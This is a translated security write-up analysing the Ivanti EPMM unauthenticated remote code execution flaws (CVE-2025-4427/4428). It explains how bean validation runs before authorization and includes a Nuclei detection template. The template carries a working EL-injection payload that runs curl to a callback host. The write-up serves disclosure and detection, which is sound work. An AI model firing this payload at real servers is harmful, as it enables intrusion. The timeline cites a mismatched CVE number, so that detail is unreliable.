介绍
作为安全研究人员,我们都知道在黑盒测试 Web 应用和 API 时,那种似曾相识的“舞蹈”。你点击一个端点,收到“缺少 blah 参数”或“blah 类型错误”的提示,在满足所有要求后,你常常会遇到令人沮丧的 401 或 403 错误。这种近在咫尺却又遥不可及的感觉,我们都曾经历过。
然而,在最近对 Ivanti EPMM 的 CVE-2025-4427 和 CVE-2025-4428 的分析中,这种执行流程(授权之前进行的验证)无意中为 Ivanti EPMM/Mobileiron 中的未经身份验证的远程代码执行漏洞铺平了道路。
背景
在 Hibernate Validator 中,该ConstraintValidatorContext.buildConstraintViolationWithTemplate(String messageTemplate)调用允许您使用模板字符串提供自定义违规消息。如果该模板由不受信任的用户输入构建,且未进行任何转义或过滤,则实际上为服务器端模板注入 (SSTI) 或表达式语言 (EL) 注入打开了方便之门。在运行时,Hibernate 可能会通过 Spring 的 StandardELContext 处理模板,以解析 ${…} 之类的占位符,从而无意中执行任何嵌入的表达式。
补丁差异
我们解压了 EPMM 服务器的已打补丁和未打补丁的版本,并对反编译的类运行了递归 diff 测试。两个验证器发现了一行补丁,可以消除错误消息中的用户输入:
在 DeviceFeatureUsageReportQueryRequestValidator 中:
之前,查询字符串中的原始格式字段会被传入消息构建器;之后,它会被替换为空字符串。这消除了直接的 EL 入口点,因为消息模板不再包含攻击者数据。
类似地,在 ScepSubjectValidator(证书注册期间使用)中:
此处,任何用户提供的证书主题 DN 过去都经过 HTML 编码,然后连接到错误模板中。这也可能将 ${…} 有效负载带入 EL 上下文。补丁程序彻底删除了这种插值操作。
映射源到接收器
在查看DeviceFeatureUsageReportQueryRequest验证器的调用位置时,我们遇到了以下控制器:
@RequestMapping(method = GET, value = "/api/v2/featureusage")@PreAuthorize("hasPermissionForSpace(#adminDeviceSpaceId, {'PERM_FEATURE_USAGE_DATA_VIEW'})")@ResponseBodypublic Response downloadDeviceFeatureUsageReport(@Valid@ModelAttribute DeviceFeatureUsageReportQueryRequest queryRequest, HttpServletRequest request) {[...] }
MobileIron API 在/api/v2/featureusage和/api/v2/featureusage_history处公开 GET 端点,以允许管理员以 CSV、JSON 或 PDF 等格式下载设备功能使用情况报告。
以经过身份验证的用户身份向此端点发出请求,使用“格式”作为查询参数并使用无效值来查看是否DeviceFeatureUsageReportQueryRequestValidator触发。
正如预期的那样,我们得到了响应"Format 'xxx' is invalid. Valid formats are 'json', 'csv'."
现在,输入一个简单的表达式语言评估有效负载,例如${3*333}我们可以从返回的响应中确认评估"Format '999' is invalid. Valid formats are 'json', 'csv'."。
令人惊讶的是,即使没有身份验证 cookie 或令牌(即未经身份验证的用户),这也同样有效。
Spring MVC 的参数解析和安全顺序
要理解为什么未经身份验证的 EL 评估仍然可能,我们必须观察 Spring MVC 对每个传入请求采取的精确步骤顺序:
-
DispatcherServlet 通过 HandlerMapping 将请求 URL 与控制器方法进行匹配。
-
HandlerAdapter 开始准备方法参数:它实例化参数对象,绑定请求参数,并且如果存在 @Valid,则运行所有已注册的 javax.validation.Validator 实现或这些对象的 Spring 的 DataBinder 钩子。
-
只有在所有参数都绑定并验证之后,Spring 才会调用控制器方法。此时,MethodSecurityInterceptor(@PreAuthorize 和 @Secured 背后的机制)会包装调用并检查权限。
因为 bean-validation 在步骤 2 中触发,所以在自定义 ConstraintValidator 内执行的任何代码都会以应用程序的完整权限运行,即使身份验证和授权过滤器尚未应用于 HTTP 请求。
根本原因分析——Tldr;
-
请求使用攻击者控制的格式参数到达控制器。
-
Spring MVC 将查询参数绑定到DeviceFeatureUsageReportQueryRequest
-
@Valid 触发器DeviceFeatureUsageReportQueryRequestValidator.isValid()。
-
验证器调用 localizedMessageBuilder,将不受信任的格式值插入消息模板中。
-
模板由 EL 引擎解析;任何 ${…} 表达式都会被立即评估。
-
只有在验证完成后,MethodSecurityInterceptor 才会执行@PreAuthorize检查,这显然太晚了。
-
结果:任意代码在应用程序上下文中运行,无需任何凭据。
附加功能
类似地,我们发现@ScepSubjectValidator可以由允许创建或编辑 SCEP 证书并测试 SCEP 证书注册的管理员用户调用后身份验证。
模板
我们创建了一个 Nuclei 模板,可以轻松识别易受攻击的 Ivanti EPMM 实例:
https://cloud.projectdiscovery.io/library/CVE-2025-4427
id: CVE-2025-4427info: name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution author: iamnoooob,rootxharsh,parthmalhotra,pdresearch severity: critical description: | An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection. reference: - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2025-4427 cwe-id: CWE-288 epss-score: 0.00942 epss-percentile: 0.75063 metadata: verified: truemax-request:2 shodan-query: http.favicon.hash:"362091310" fofa-query: icon_hash="362091310" product: endpoint_manager_mobile vendor: ivantitags: cve,cve2025,ivanti,epmm,rce,sstihttp: - raw: - | GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1 Host: {{Hostname}} - | GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1 Host: {{Hostname}}stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - "Format 'Process[pid=" - "localizedMessage" condition: and - type: word part: interactsh_protocol words: - dns - type: status status: - 400
CVE-2025-4427 的时间线:
2025 年 5 月 13 日:国家漏洞数据库 (NVD) 发布了 CVE-2025-2825 的详细信息,强调了 Ivanti EPMM 版本中的高危和中危漏洞,可能导致未经身份验证的 RCE。
2025 年 5 月 14 日:安全文章和公告开始流传,强调该漏洞的严重性并建议立即修补。
2025 年 5 月 15 日:ProjectDiscovery 研究团队发布了 Nuclei 模板来检测 CVE-2025-4427,从而有助于识别易受攻击的 Ivanti EPMM 实例。
结论
最后,CVE-2025-4427 及其同门 CVE-2025-4428 提醒我们,即使是出于良好意图的安全控制措施,也可能因框架内部的微妙机制而遭到破坏。Ivanti EPMM 验证器中看似简单的 EL 注入补丁,实际上掩盖了一个更深层次的顺序缺陷:bean 验证在 Spring Security 的授权检查之前运行。通过比较连续的版本差异并追踪对 buildConstraintViolationWithTemplate 的每次调用,我们剥离了 Spring MVC 参数解析的层层环节,并暴露出一个窗口,让不受信任的输入可以执行任意代码,而这一切都无需登录提示。
如果您正在运行易受攻击的 Ivanti EPMM 实例,请更新至已修复版本 11.12.0.5、12.3.0.2、12.4.0.2 或 12.5.0.1 之一,如 Ivanti 公告中所述。
此核心模板现已成为 ProjectDiscovery Cloud 平台的一部分,因此您可以自动检测整个基础架构中的此漏洞。我们还提供免费的月度扫描服务,帮助您检测新兴威胁,持续覆盖所有主要漏洞,此外,企业邮箱地址还可享受 30 天的完整试用。
原文始发于微信公众号(Ots安全):CVE-2025-4427/4428:Ivanti EPMM 远程代码执行 - 技术分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论